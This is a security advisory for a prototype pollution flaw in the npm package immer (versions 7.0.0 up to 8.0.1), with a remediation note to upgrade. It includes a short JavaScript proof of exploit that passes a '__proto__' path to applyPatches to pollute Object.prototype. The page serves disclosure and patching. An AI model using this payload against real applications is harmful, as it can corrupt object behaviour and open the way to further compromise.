GHSA-9qmh-276g-x5pjHighCVSS 7.5

Prototype Pollution in immer

Published
January 20, 2021
Last Modified
April 25, 2024

🔗 CVE IDs covered (1)

📋 Description

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

🎯 Affected products1

  • npm/immer:>= 7.0.0, < 8.0.1

🔗 References (8)